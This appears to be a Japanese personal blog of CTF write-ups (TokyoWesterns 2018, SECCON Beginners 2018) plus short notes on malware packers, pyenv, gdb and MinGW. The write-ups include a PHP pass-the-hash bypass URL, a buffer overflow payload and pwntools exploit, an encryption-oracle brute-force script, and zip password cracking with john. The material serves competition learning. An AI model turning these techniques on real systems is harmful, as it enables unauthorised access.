fr33f0r4ll

自分用雑記

TokyoWesterns CTF4th 2018 Writeup

TokyoWesterns CTF 4th 2018 Writeup

TWCTF4th 2018のWriteupです。今回は始めてのチーム戦でした。

pwn解けなかった...

warmupだけです。

SimpleAuth

Web問、warmup

問題文にはURLが貼ってある。 最初にアクセスするとPHPソースコードが表示され、MD5ハッシュの比較をしていることが分かる。 MD5ハッシュはhash('md5', $user.$pass);と、ユーザ名とパスの組み合わせになっている。 Webに詳しくないのでMD5のハッシュをクラックする問題かと思ってしばらく解けなかった...

PHPではURLで渡されたクエリがそのまま変数として扱えるので、hashed_passwordというパラメータを送信すると、$hashed_passwordの値はパラメータの値になる。 ソースコードを読むとuserとpassを設定していなくてもhashed_passwordのチェックは行われるため、ハッシュを送信するだけでいい。 つまりpass the hashが成立する。 具体的には、http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757eというクエリを投げればいい。 これでフラグが表示される。

PHPとWebにもう少し詳しければすぐに気付けたはず、複雑に考え過ぎた。 これはWeb問であってCrypto問じゃない。繰り返す、Web問であってCrypto問じゃない

dec dec dec

Rev問

バイナリが降ってくる。 チームの人が解析したのを見て閃いた感じ。

静的解析で見てみると、文字列処理っぽいのを3回繰り返してからバイナリ中の文字列と比較している。 入力がフラグらしいので、この文字列を復元するのが目的になる。

動的解析してみると、3回の文字列処理のうち一回目は単なるBase64だと分かる。適当にやってれば末尾に=が付いた文字列が出てくるのでなんとなく察せると思う。

次の処理が若干分かりにくいが、=のままアルファベットだけ変化してることと単なる符号化であるという前提で考えるとrot13ではないかと閃いた。試してみると正解だった。

最後の文字列処理が分かりにくかったが、色々試してみてuuencodeだと分かった。

まとめると、入力文字列 -> base64 -> rot13 -> uuencode -> バイナリ中の文字列と比較、という流れになる。 つまり、バイナリ中の文字列 ->uudecode -> rot13 -> base64 decodeとすればフラグが手に入るはずである。

しかし、何故かバイナリ中の文字列を復号してもTWCTF{base64までしか復元できなかった。謎。多分uudecodeのやり方が悪いんだとは思う。 でもここまで分かったら十分である。base64, rot13, uuencodeだったんだから符号化方式の名前だと当たりを付けてみたらビンゴだった。

とりあえず復号スクリプト

python3 -c "from codecs import decode;print(decode(b'begin 660 <data>\n425-Q44E233=,>E-M34=,,\'-$/3T \nend\n', 'uu').decode())" | nkf -r | base64 -d

破損しているので注意。 Ubuntuからuuencodeなくなってるから凄い不便。

scs7

Crypto問

問題文にはサーバの情報しかない。 とりあえずリモートサーバに接続すると暗号化されたフラグが表示され、メッセージの入力と暗号文の取得ができるようになっている。 適当に入力して試してみたところ、以前に出てきた文字の情報を暗号化に使用することが分かった。 例えば、適当にAAAAとAAABを入力すると最後の1文字だけ違う暗号文になっていて、ABAAとAAAAを入力すると先頭の数文字以降はまったく違う暗号文になっている。

この特徴とフラグがTWCTF{から始まっていることを利用すると、フラグを一文字ずつ特定することが可能になる。 まず、TWCTF{を一文字ずつ増やしていって先頭の数文字が一致する長さを探す。これでフラグの文字数を特定する。 この前提は少し怪しいけどとりあえずうまくいった、47文字だと判明。

次にありえそうな文字を順番に1文字付加していって、暗号化されたフラグと一致する文字数が増加する文字を採用するようにする。 例えば、TWCTF{A + 40文字, TWCTF{B + 40文字...という感じで試行し、返ってきた暗号文と暗号化フラグを比較して、一致する文字数が増えたものを採用といった感じである。 やってて気付いたけど複数の候補が存在するので探査するときには注意が必要になる、その場合は2文字目でマッチする長さが増加しなくなるので弾く。 これを40文字分繰り返せばいい。途中までやると16進数値になっていることが分かるので探索範囲は狭まる。

スクリプトを書いたがほぼ手動だった。失敗するとサーバへのブルートフォースになるので自動化がためらわれる...

from pwn import *
import string
import time

flag_head = 'TWCTF{'
flag_tail = '}'
search_range = 'abcdef0123456789' # 複数の文字種が候補になりうるので、順番にブルートフォースしてた
flag_size = 47  # get by analyze_flag_len


# 暗号化されたフラグを抽出する
def fetch_first_msg(io):
    first_msg = io.recvuntil('message:')
    encrypted_flag = first_msg.split('\n')[0]
    encrypted_flag = encrypted_flag.replace('encrypted flag: ', '').strip()

    return encrypted_flag


# メッセージを投げて得られた暗号文を返す
def try_encrypt(io, msg):
    io.clean()
    io.sendline(msg)

    encrypt_msg = io.recvuntil('message:')
    encrypt_msg = encrypt_msg.split('\n')[0].replace('ciphertext: ', '')

    return encrypt_msg


# フラグの長さ調査用、最初の5文字くらいを比較して一致してればその長さを返す
def analyze_flag_len(io, encrypted_flag):
    for i in range(1, 101):
        test_flag = flag_head + 'A' * i  # padding

        enc_msg = try_encrypt(io, test_flag)

        if enc_msg[0:5] == encrypted_flag[0:5]:
            log.info("Challenge message: {}".format(enc_msg))
            log.info("Encrypted flag: {}".format(encrypted_flag))

            return len(test_flag)

    return None


# 文字列の先頭から何文字一致するか返す、他に関数あるかも
def match_len(str1, str2):
    count = 0

    for ch1, ch2 in zip(str1, str2):
        if ch1 == ch2:
            count += 1
        else:
            break

    return count


# フラグ解析、一文字だけブルートフォースする感じ
def crack_encryption(io, encrypted_flag, flag_size, flag_head, flag_tail):
    pad_ch = '*'

    # ハッシュだと分かる前は文字全部試してた
    # candidates = string.ascii_letters
    # candidates += string.digits
    # candidates += string.punctuation
    candidates = 'abcdef0123456789'
    hit_chs = []

    get_flag = lambda head, tail: head + pad_ch * (flag_size - len(head) - len(tail)) + tail
    
    test_flag = get_flag(flag_head, flag_tail)  
    io.info("Flag is: " + test_flag)    
    enc_msg = try_encrypt(io, test_flag)

    # 初期の一致文字数、これより長い文字を発見する
    match_length = match_len(enc_msg, encrypted_flag)
    log.info('Initial match length: ' + str(match_length))

    # ブルートフォース
    for ch in candidates:
        test_flag = get_flag(flag_head + ch, flag_tail)
        enc_msg = try_encrypt(io, test_flag)
        tmp_len = match_len(enc_msg, encrypted_flag)

        if tmp_len > match_length:
            log.info("Flag: " + test_flag)
            log.info(tmp_len)
            hit_chs += ch # 複数の文字が候補になりうる

    return hit_chs


for ch in search_range:
    temp_flag_head = flag_head + ch

    io = remote('crypto.chal.ctf.westerns.tokyo', 14791)

    encrypted_flag = fetch_first_msg(io)
    log.info("Encrypted flag is : ")
    log.info(encrypted_flag)

    hit_chs = crack_encryption(io, encrypted_flag, flag_size, temp_flag_head, flag_tail)
    hit_chs = ''.join(hit_chs)
    log.info("Result:" + ch + ", " + hit_chs)

    # ヒットする文字があれば探索を中止。2文字の組み合わせでマッチする長さが伸びるパターンはないと判断した
    if len(hit_chs) != 0:
        io.close()
        exit(0)

    io.close()

    # サーバへのお情け
    time.sleep(3)

# フラグの長さ解析、長さによって暗号文全体が変わるので最初に長さを合わせる必要がある
# flag_len = analyze_flag_len(io, encrypted_flag)
# log.info("Check flag size: {}".format(flag_len))

mondai.zip

misc問

複雑に考え過ぎてやらかしたシリーズその2。

問題文からzipファイルがダウンロードできる。 解凍するとy0k0s0.zipというzipファイルが出てくる。 johnでクラック。

zip2john y0k0s0.zip > hash.txt
john hash.txt

ファイル名がパスなのですぐ終わる。

y0k0s0.zipを解凍するとmondai.zipというzipファイルとcapture.pcapngが出てくる。 pcapファイルを開くとpingのパケットだけがある。 データを見るとすぐに分かるけど、abcdef...とアルファベット順にデータが並んでいることが分かる。 いくつかのpingを見比べるとそれぞれ微妙に長さが違ったので、とりあえず長さをasciiにしてみたらビンゴだった。 いくつかダミーのpingがあるのだけ気を付けてasciiに直すと、それがパスになる。

mondai.zipを解凍すると、さらにmondai.zipとlist.txtが出てくる。 list.txtを開くと10文字くらいの文字列が1000行並んでいる。 ここで複雑に考え過ぎてしまい、list.txtを符号化された文章だと思ってしまった。 実際にはただのパスワードリストなので、これで辞書型攻撃をするだけでいい。

zip2john mondai.zip > hash.txt
john hash.txt --wordlist=list.txt

これで解ける。

解凍すると今度はハッシュ値みたいな名前のファイルが出てくる。 fileコマンドで調べるとこれもzipだった。 ハッシュの長さからMD5かと思って、ファイルのMD5ハッシュを取ったが一致しなかった。 今度こそレインボーテーブルで攻撃するとヒットした。

解凍すると、README.txtとmondai.zipが出てきた。 REDAME.txtによると、パスワードは短いらしいのでブルートフォース

zip2john mondai.zip > hash.txt
john hash.txt

2文字なのですぐに出てくる。 そして出てきた文章によるとこれまでのパスの組み合わせがフラグになる。

これでフラグゲット。

load

Pwn問

できなかったpwn... ファイルを読み込んで、読み込みの成否を表示するだけのプログラムになっている。 リモートで試してみるとflag.txtがあるようなので、おそらくこの中身を見ればいいはず。 /proc/self/fd/0を読み込み先に指定できて、ファイルを読み込むバッファがBOFする。 NX, Full RELRO, FORTIFYとなっている。CanaryはないのでやはりBOF。 しかし、肝心の標準入出力がmain関数の最後で閉じられてしまうためどう頑張ってもflag.txtを表示できない。 使える関数からしても、ファイルを開いたりはできるが新しく外部へと接続するようなことはできないっぽい。 色々考えたけど思い付かなかった。 最初に入力するファイル名に複数のファイルを入れて、/proc/self/fd/1を開いてみたり/dev/ttyとか探してみたりflag.txtを開いてみたりしたけど、どうしても外部に出力できなかった。 BOF自体はfdのクローズ前に可能なので、どうにかして誤魔化すんだろうか。 整数値の読み込み周りで何かあるのかもしれないが思い付かない。 くそう。

パッカーについて調べてみた

マルウェアに使われるパッカーについて

マルウェアに使われるパッカーについてちょっと調べたのでまとめておく。参考にしたサイトは以下。 徐々に増やすのが目標。

パッカー、パッキングとは

プログラムを実行できる状態のまま圧縮、符号化することをパッキングといい、パッキングするためのソフトウェアやプログラムなんかをパッカーという。 本来はプログラムのサイズを小さくしつつ、いちいち解凍しなくても実行できるようにするために使われていたらしい。 いつからかプログラムが静的解析されるのを妨害する目的でも使われるようになり、だんだん解析を妨害することに特化したものが増えていった感じだろうか。 元々の意味はともかく現在の使われ方は難読化とあまり差がないような気がする。 調べてみてもその違いについて明確に述べているものは見つからなかった。 パッカーはRuntime packer, self-extracting archivesとも呼ばれ、通常のzipの圧縮なんかと区別されることがある。 パッキングされたプログラムは普通に圧縮されたプログラムとは違い、パッキングされた状態で実行することができてパッキングされる前と同じことができる。

難読化との違い

意味合いの上ではデータをまとめて圧縮、符号化、暗号化するために行われるのがパッキングであり、データの意味を解釈するのを困難にするために行われるのが難読化であるといえると思う、根拠はないが。 しかし攻撃者がマルウェアをパッキングする目的はプログラムの意味や挙動を読み取れなくすることなので、一概にパッキングと難読化を分けるのは難しい。 しかも単純にサイズの圧縮のためにUPXなどのパッカーが使われていることもあるため、使われた目的から用語を分けるのも難しそう。

ちなみに難読化をするプログラムはオブファスケイター(Obfuscater)というらしい。 protectorという用語もある(packerとほぼ同じような使い方をされているっぽい)。

個人的な観察の結果からすると難読化はソースコードレベル、中間コードレベルで行われるタイプのものに使われる傾向があるらしい。 例えば、スクリプト言語の解読を困難にするようなものにはObfuscaterという用語が使われている。 また、Wikiに掲載されている難読化されたCの例として掲載されているのはCのソースコードだった(つまりソースコードレベル)。 Javaや.NETなどの中間コードを生成するものは、リバースエンジニアリングを防ぐためにObfuscatorを使おう!みたいなのも見つかった。

一方バイナリレベルで難読化を行うもの、特にバイナリの状態のプログラムを難読化するものはパッキングと呼ばれる傾向にあった。 セキュリティ系のところでしかこの用語が登場しなかったせいかもしれない。 あるいは、古くからありそうなサイトも多かったので単に用語が古いだけかもしれない。 packingだと荷物のパッケージングみたいなのしか出てこないので検索性が悪い。

StackExchange ReverseEngineeringで検索した結果だと、ヒット率は以下のような感じになった。 + obfuscator: 500 + packer: 159 + protector: 65 + pack: 54 + obfuscate: 500

明確に圧縮目的のものであればpacker, packingでも良いが、ほとんどのケースではObfuscator, obfuscateの方が良いのかもしれない。 少なくとも、マルウェア解析において問題になるのは難読化の方がほとんどだと思う。 とりあえずこの記事ではパッカー、パッキングを使うことにする。

マルウェアに使われる理由

パッキングするとプログラムの動作を変えないままその形を変えることができるため、プログラムのハッシュ値やバイト列などが一致するかどうかなどで検知するシグネチャベースのIDS/IPSやアンチウイルスソフト(AV)では検知することが難しくなる。 そのため、マルウェアを検知されないように送りこむために使われることがある。 このようにパッキングされたマルウェアでも、サンドボックスで実行しその挙動を観察することで検知できたりもする。こういう解析は動的解析という。

検知システムの回避だけでなく、パッキングすることによってリバースエンジニアリングによるマルウェアの解析を妨害することもできる。 マルウェアがパッキングされていると逆アセンブルしてもパッカーによって追加された命令と符号化されたデータしか復元できないため、本来の命令が確認できず解析が困難になる。 その場合マルウェア本来の動作を解析するためにはアンパックして本来の命令を復元する必要がある。 しかしこれがすごく大変で、元のパッカーが未知のものだったりすると非常にめんどくさい。 よく知られているパッカーや単なる圧縮のためのパッカー(UPXとか)なら簡単に復号化できるスクリプトがあったりするが、高度な攻撃者だとオリジナルのものを使うため自分でアンパックする必要がある。 このような妨害効果を期待して、攻撃者は複雑なパッキングアルゴリズムマルウェアに適用することがある。

パッキング手法

3種類の手法が解説されていた、知っているのはひとつだけだった。 + 自己解凍方式 - 下で抜粋したコンプレッサーとクリプターがあてはまる + API難読化方式 - 抜粋した中にはないが、どちらかというとプロテクターっぽい + 仮想マシン方式 - 下のバーチャライザーが当て嵌る。 これらの呼び方は完全オリジナルなので注意、元のサイトには手法自体に名前はなかった。 下のやつがもっと良い。

https://reverseengineering.stackexchange.com/questions/1779/what-are-the-different-types-of-packers ここにある名前がそれっぽい、日本語にして抜粋。

パッカーのコードが追加されて実行されるタイプ extension + コンプレッサー(Compressor) - データサイズを減らすために使われる - 一般的なもの: aPLib(FSG, LZMA, NRV(UPX)) - その他: JCALG1, BriefLZ, LZMAT + プロテクター(Protector) - リバーシングを困難にする - アンチデバッグ (anti-debugging) - isDebuggerPresent, 時間測るやつ、ハッシュ使うやつ - アンチ仮想化 (anti-virtualization) - VMWareの検知とか、仮想マシン用の特別なポートとかを調べて検知する - アンチダンプ (anti-dumping) - メモリのヘッダを消して妨害 - アンチ改ざん (anti-tempering) - checksumを使う - 一般的なもの: rolling checksum, CRC32, md5, sha1, adler, md4 - その他: Tiger, Whirlpool, md4, adler + クリプター (cryptor) - 暗号化するもの - 一般的なもの: ビット演算子(XOR/ROL/...), LCG, RC4, Tea - その他: DES, AES, Blowfish, Trivium, IDEA, ElGamal

元のコードを書き換えるタイプ transformation + バーチャライザー (virtualizer) - 元のコードを組み込みの仮想マシンのコードに替えるやつ、仮想マシン方式はこれ + ミューテイター (mutater) - コードを改変するが、元の命令アーキテクチャのまま - reflowing, oligomorphism - 詳しく書いてなかったのでよく分からない、要調査 - 多分、途中でメモリ上の自分自信のコード領域を書き換えるタイプ

機能を追加するタイプ extra features + バンドラー - 複数のファイルを一つのファイルとして実行できるようにするらしい

自己解凍方式

この方式のパッカーは元のプログラムを符号化あるいは暗号化してデータとして格納し、実行時に復号化してメモリ上に配置し実行する。 暗号化と符号化の違いは鍵が必要かどうかで、暗号化の場合は鍵がないと復号化できず、実行できないということになる。 多分一般的な方式で、マルウェア解析の話で出てくるアンパッキングはだいたいこの手法を対象にしてるっぽい。

アンパックするには、パッキングされたプログラムが元のプログラムのコードをメモリ上に展開したあと、元のプログラムを開始するアドレス(Original Entry Point, OEPと呼ばれる)を特定すればいい。 特定したら、アンパックし終わったタイミングでそのアドレスからメモリをダンプすると元のプログラムがだいたい手に入る。

API難読化方式

この方式のパッカーは、WinAPIとかの呼び出しを難読化して、解析しにくくする。 IAT(Import Address Table)なんかを動的に解決することで、ライブラリの関数を呼び出しているのを分かりにくくする。 この方式が使われていると、単純にメモリをダンプしただけではプログラムが解析できなくなるので厄介。 多分他の方式と併用されることが多いんじゃないかな。

ライブラリの関数自体をフックしたりすると解析できそう。

仮想マシン方式

この方式のパッカーは元のプログラムをオリジナルの仮想マシンで動作する独自命令に完全に変換してしまう。 パッキングされたプログラムは、独自命令になったプログラムとその独自命令を実行する仮想マシンで構成される。 一番高度な手法で、作るのも難しそう。

解析するためにはオリジナルの仮想マシンを解析し、どのように動作するのかを突き止めるしかない。

その他

他にも、ブロックごとに暗号化して一命令ずつ復号化して実行するようなパッキング手法も提案されてたりする。

apt upgradeでpyenv: xxxx: command not foundが出たときの対処法

command not found

いつも通りapt upgradeしようとしたらiconvコマンドが見つからなくて失敗したのでその対処法。

iconvに限らずコマンドが見つからない系の問題には似たような対処法ができると思う。

コマンドが使えるかどうか確認してみる

普通にターミナルからコマンドを使ってみて使えるかどうかを確認してみる。 今回の場合はpyenvのコマンドが見つからないエラーが出た。 もし探しているのがそのコマンドでいいなら、pyenvで環境を切り替えれば解決するはず(pyenv自体もう非推奨というか、別の方法が推奨されているので乗り換えた方がいいらしい)。

正しくないコマンドが使われている場合

今回の場合は探しているiconvはpythonのコマンドではなかったはずなので、他にiconvが存在していないかどうかを調べる。 whereis iconvlocate iconvを使えば、名前や正規表現でファイルを探せる。

whereisは実行ファイルやソースファイル、マニュアルを探すので、コマンドを探したいときはこっちの方がいい。

locateは全ファイルから探索する(あらかじめ作成したデータベースから検索するので高速に動く)ので、どこにあるか分からない場合に使える。

見つけたiconvコマンドをフルパスで実行すると正常に動作したため、どうやら参照するコマンドが違うようである。 この辺はpyenvの問題かもしれない、現在の環境で存在しないコマンドでもサジェストを出すために補足するようになっているらしく、シェルが実行ファイルのパス探索を止めてしまう。 pyenvのパスはPATHの後半に登録すべきかもしれない。

解決策は簡単で、pyenvより先に本来の実行ファイルが参照できるようにしてやればいい。 iconv/usr/binに存在しているなら、PATH="/usr/bin/:$PATH"とすれば本来のiconv`コマンドが先に参照される。

コマンド自体がなかった場合

インストールしよう。

SECCON Beginners CTF 2018 Writeup

1286ptで45位だった。

Misc

Welcome

IRCのトピック、なぜかロードのタイミングのせいで表示されずしばらく解いてなかった。

plain mail

pcapが降ってくる。 中身を見てみるとタイトル通り平文でメールが送信されている。 wiresharkからSMTPの通信を復元すると、送信された3通のメールを読める。 一通目はこれから送るファイルの内容についてで、暗号化されたファイルとパスをメールで送信してくるということが分かる。 2通目は暗号化されたファイル、3通目はそのパスとなっている。

2通目のファイルではお馴染のbase64エンコードされたファイルが送られている。 復号したデータをファイルに書き込んでfileでチェックするとzipであることが分かる。 解凍しようとするとパスを聞かれるので3通目の_you_are_pro_を入力する

解凍できるとflag.txtが出てくる

てけいさんえくすとりーむず

別に手計算する必要もないのでpythonを使った。 この程度ならシェル芸でもできそう。 100問単純な四則演算が降ってくるのでそれを解く。 Pythonみたいな動的言語ならevalとかあるのでそれを使うとパースする必要がなくて楽。 でも危険なので本当は避けた方がいいはず。

スクリプトは一応コレ。

from pwn import *

io = remote('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690)

log.info(io.readuntil('------\n'))
log.info(io.readuntil('------\n'))

log.info("START!")

for i in range(100):
  log.info(io.readuntil(')'))

  line = io.readuntil('=')
  line = line.replace('=', '')
  log.info("exp: " + line)
  
  ans = eval(line)
  log.info("ans: " + str(ans))
  io.sendline(str(ans))

io.interactive()
io.close()

pwntoolsはリモートに繋ぐときに楽なので使ってしまう。

Find the message

ディスクイメージが降ってくるので解析する問題。 とりあえずマウントすると2つだけはメッセージが取得できる。 ファイル名が1_of_3とかなので1つ足りないことになる。 foremostを使うと復元できた。

1つ目のメッセージはテキストでbase64、解読すればフラグの1/3がゲットできる。

2つ目のメッセージはpngファイルだが開こうとすると開けない。 バイナリエディタか何かで見ると先頭の8バイトほどがXになっているのが分かる。 勘のいい人か知ってる人ならここでマジックヘッダが上書きされていることに気づける。 マジックヘッダとは、ファイルの種類を識別するために先頭に付けられるデータで、ファイルの種類ごとに決まっていたりする。 勘が鈍いとadobeRDFか何かに引っかかる、引っかかりました。 単にマジックヘッダが潰されていて認識できないだけなので、適当に調べるか既存のpngからマジックヘッダを復元して開くとフラグの1/3をゲットできる。

3つ目のメッセージはディスク上から削除されている。 このメッセージの復元は単にツールを使っただけなので基本原理について書いておく。

ディスクは通常決まった領域にどんなファイルがどこに保存されているのかを保持する目次を持っている。 普通パソコンがファイルを表示したりするときはその決まった領域を見ているのであって、ディスク全体を調べてファイルが存在しているかどうかを調べたりはしない(時間がかかるので)。 そして、パソコンなんかのディスクからファイルを削除するとパソコンからは認識できなくなる。 かといってディスクの上から無くなったわけではなく、単にファイルを識別するための目次から消されただけで実体はディスク上に残っている。 6GBくらいのデータを削除するときに0を6GB書き込んでいたらクソほど時間がかかるので普通はデータの上書きなんかはしないようになっている。 そこでさっきのマジックヘッダーなんかの情報を利用して、ディスク全体を調べれば消されたファイルでも内容が分かったりする。 そうやって削除されたファイルを復元したりする。

復元するとPDFファイルになっていて、開くとフラグの1/3がゲットできる。

3つのメッセージからフラグを復元できたので投げるだけ。

Crypto

Veni, vidi, vici

来た見た勝った、だったかな。 part1, part2, part3の3つのメッセージが入ったzipが降ってくる。 part1とpart2はカエサル暗号になっている。 スペースを含むアルファベットのみの暗号ならまずrot13を試す。

part1は鍵が13なのでnkf -rでそのまま読めた。

part2は鍵が違うのでブルートフォースでそれっぽいのを見つけるか、文章が同じような文章であることが単語から分かるのでそこから推測してもいい。

part3はぱっと見で混乱するが、part1とpart2を解いてから見ると文字を逆向きにしたような感じになっているのが分かる。 勘がいいと初見で分かるくらい見やすい。 読み解こう。

part3が面白かった。

RSA is power

文字通り力技だった。 最初は乗数とpowerをかけていてフェルマー法を使うやつかと思ったが解けず。 msieveで解いたらあっというまだった。 自作ツールに拘り時間を浪費してしまった、次は勝つ。

Streaming

ストリーム暗号の問題で、暗号化スクリプトが貰える。 暗号化方法を見ているとすぐに分かるが、乱数発生器に渡しているSeedがCで剰余を取られている。 Cが大分小さいのでブルートフォースで解ける。 あとは解読用のスクリプトを書いて無理矢理解読するだけになる。 コメントを付けたして綺麗にした解読コードはこんな感じ。

import string

class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__(self, seed):
        self.seed = seed % self.C  # vuln! i can brute force attack

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed


# in python2, there isn't isprintable
def is_printable(text):
    for ch in text:
        if ch not in string.printable:
            return False
    return True


cipher = open('encrypted', 'rb').read()

# key is in 0 ~ C
for i in range(0, 34607):
    g = Stream(i)
    plain = ''

    for i in range(0, len(cipher), 2):
        # a / 256 and a % 256 means a is divided into upper byte and lower byte
        [ch1, ch2] = cipher[i:i+2]
        dec_num = ord(ch1) + ord(ch2) * 256
        # if g returns same random-seq, we can decrypt cipher
        dec_plain = dec_num ^ g.next()
        plain += hex(dec_plain)[2:].rjust(4, '0').decode('hex')

    if is_printable(plain):
        print(plain)

実際には最後の表示判定は無しで目grepしたが、このコードなら正解だけが表示できる。

割と簡単で、暗号について知らなくても剰余から鍵が少ないことに気付けると思う。 初心者に丁度良く解ける難易度の暗号の鍵空間について知ってもらえる問題なので良い問題だと思う。

Well known

分からなかった。 指定された接続先にアクセスすると、鍵っぽいのが表示されてデータ入力を求められるようになっている。 入力された後に表示されるのは暗号文だろうか? 問題の名前から既知平文攻撃かなにかだと思うけど何の暗号か良く分からなかった。

Rev

Simple Auth

バイナリが降ってきて認証を突破しろと言われる。 gdbか何か実行していくとauth関数があり、この中で文字列が構築されて単純に比較していることが分かる。 何の暗号化も処理もなく単に比較しているだけなので、gdbで構築された後スタックで見るか、ltraceを使えばフラグが分かる。

Activation

.netとc#windowsが分からないので死んだ。 ディスクがどうとか言ってたのでディスク周りで何かあるのかもしれない。

crackme

死ぬほど頑張ってangr使った。 angrをコマンドライン引数に適用する方法が分からずまず死んだ。 次に、特に制約もなく使うとangrがクソほどメモリを持っていってPCが死んだ。

仕方なくマジメに解析してからangrを使うことにした。 解析するとmain関数でのprintfから入力値がフラグになっていて、32文字であることが分かる。

そして、呼ばれている関数のうちひとつは16回のループで何かしら判定を行っていて、その後に呼ばれる関数はargv[1]の16バイト目を引数に取っていることが分かる。 つまり前半16文字と後半16文字をそれぞれ処理しているっぽいことが分かる。

さらに、成功判定の箇所でグローバルなフラグが0かどうかで判定を行っていることが分かった。

前半16文字の判定をしている関数を見てみると、謎の文字列を構築し何らかの処理と判定をしてるっぽいことが分かった。 その処理はよく分からんかった。 でも途中でフラグに1を格納していたので、angrにそのアドレスを通らないパスを見つけるようにお願いした。 そしてフラグゲット。

angrの拝み方はこんな感じ。

import angr
import claripy

addr = 0x0040093c
goal = (0x0040099e)
avoid = [0x40081d, 0x40086d, 0x4008bd, 0x40090d, 0x40064d, 0x40069d, 0x400707, 0x400757]
key_length = 32

p = angr.Project('./crackme')
arg1 = claripy.BVS('arg1', 8*key_length)
state = p.factory.entry_state(args=["./crackme", arg1], add_options={'BYPASS_UNSUPPORTED_SYSCALL'})

for b in arg1.chop(key_length):
    state.add_constraints(b != 0)

pg = p.factory.simgr(state, immutable=False)
e = pg.explore(find=goal, avoid=avoid)


for path in pg.found:
    key = path.state.se.any_str(arg1)
    print("KEY: {}".format(key))

割と直ぐ見つかってびっくりした。 強い人は普通に逆アセンブルして解析して解いてた、つよい。

message from the future

解析すらしてない。 どうも入力位置と入力値だけで出力が決まるっぽいのでブルートフォースでいけそうな感じがある。 あとでやるリスト筆頭。 これもangrで解析できたりするんだろうか? 使い方分かりづらい...

Writeupを見たらまさかの日付依存、date使ってたりしたっぽい。 どうやって気付いたんだ...

pwn

condition

そんなに難しくはないので初心者向け。 解析するとバッファの下にある変数を0xdeadbeefにするしかないことがすぐ分かる。 あとは入力値を構築するだけでいい。 出力可能な文字以外をどうやって入力すればいいか悩んでた人がいたので書いておく。

echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde'

これだけでもフラグが取れる。 リトルエンディアンで0xdeadbeefがバイト区切りで逆順になっていることに注意すれば問題ない。 もちろん検証で引っかかった。

実際には面倒なのでpwntoolsを使った。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './condition'

def start(argv=[], *a, **kw):
  '''Start the exploit against the target.'''
  if args.GDB:
    return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
  elif args.REMOTE:
    return remote('pwn1.chall.beginners.seccon.jp', 16268)
  else:
    return process([exe] + argv, *a, **kw)


# gdb
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

log.info(io.read(timeout=0.1))
payload = 'A' * 0x2c + p32(0xdeadbeef)
io.sendline(payload)

io.interactive()

バッファオーバーフローさえ知っていれば楽に解ける問題で、初心者向けだと思う。 というか自分でもこんなの書いたなあ。

bbs

沽券に関わるので死ぬ気で解いた。 checksecなんかで確認するとNXくらいしかセキュリティ機構がない。

バイナリの中身はmainしかなく、シグネチャも残っててgets使ってるからbofし放題なので楽勝かと思った。 とりあえず任意のアドレスをripに設定できるとこまでいったが、そこから詰まってしまった。 systemをわざわざ使っているので要は/bin/shを呼べばいいと思ったが中々引数として指定できなかった。

解決策はgetsでメモリの適当な箇所に/bin/shと書き込むということだった。 partial RELROなのでとりあえずそこに書き込むことにした。 後はROPでちまちまやるだけになる。 pop rdi; retはあったので任意の引数で関数を呼び出せるので、fgetssystemを順に同じアドレスを引数にして呼び出せばいい。 何故かmain関数内のfgetsを使おうと馬鹿なことをしていたが、普通にpltで呼び出せばいい。 フラグゲットだぜ。

seczon

解けなかった。 最初にパッと見でheap問かと思って、こんなもんできるかって投げてたが、どうも書式文字列バグがあったらしい。 後でやる。

web

Greeting

adminになればフラグが見れる問題で、Cookievalueがadminかどうかのチェックがあるので、開発者ツールか何かで書き換えるだけ。

Gimme your comment

CSRFかと思ったら偽フォームにボットが釣られるのでUser-Agent見れるらしい、解けなかった。

SECCON Goods

解けなかった。 多分裏でSQL投げてて、jsからクエリを投げるパラメータを見つけて、そこにインジェクションするだけなんだろうけど分からん。

Gimme your comment revenge

見てもいない。

今回の敗因

  • Windows知らんかった。
  • 自作ツールに拘って時間を浪費した。
  • Web分からん。
  • 暗号あんまり知らなかった。

Windowsもっと使いこなしたいのでC#やりたい。 dvorakjpが見事にレガシーなので置き換えたいなあ。

自作ツールちゃん爆死。 流石に因数分解ガチ勢に叶わないにしろ、ブルートフォースすら効率最悪なのはよろしくない。 とりあえず素数判定と愚直なブルートフォースは実装したい。

徳丸本を読む、折角お値段据置きで第2版出るし。 でもweb系嫌いなんだよなあ。

CryptoのラストはElGamal署名らしい、ぱっと見で分からなかったので要勉強。

感想

beginnersということで参加を躊躇ったが何のことはなくまだまだ初心者だった。 問題は全体的にCTF初心者向けではあったが、ガチ初心者向けとはやっぱりいかなかったと思う。 CTFは前提としてある程度スクリプトが書けたり、ツールを自分である程度調べられたり、Linux使えたりしないといけないのでどうしてもハードルが高いなあと感じる。 Web分からなかったけど簡単だったらしく配点が低くなったのは幸運だった。

途中でexecveするときのgdbデバッグ方法

普通にset follow-exec-mode sameとかset follow-fork-mode parentとかやっても何故か子プロセスおっかけちゃって解析できなかったのでメモ。

まずset detach-on-fork offをする。 そうするとforkしてもデタッチせずにプロセスを止めておいてくれる。 止めてあるプロセスはinfo inferiorsで一覧が見れる。 解析するプロセスを変えるときはinferior 1とかで。

windows, gcc, long double, prinf

Cでlong doubleをフォーマット出力しようとしたら失敗したので備忘録。
調べてみると解決策っぽいのが見つかったが日本語情報はなかったのでメモしておく。 stackoverflowにあった。

問題

環境はWindows10、MinGW64のターミナルからgccで、long doubleが16バイトの環境になってる。
コードはこんな感じ。

#include <stdio.h>

int main() {
    long double ld = 0.1L;

    printf("sizeof(long double): %d\n", sizeof(long double));  
    printf("sizeof(double): %d\n", sizeof(double));

    printf("ld = %Le\n", ld);

    return 0;
}

コンパイルして実行

$ gcc test.c
$ ./a.exe
sizeof(long double): 16
sizeof(double): 8
ld = 3.205300e-317

MinGWだと内部でWindowsのruntimeで出力しようとしているのが原因っぽい。 Windowsだとsizeof(long double) == 8だけど、MinGWgccだとsizeof(long double) == 16だから不整合が起きる。

解決策

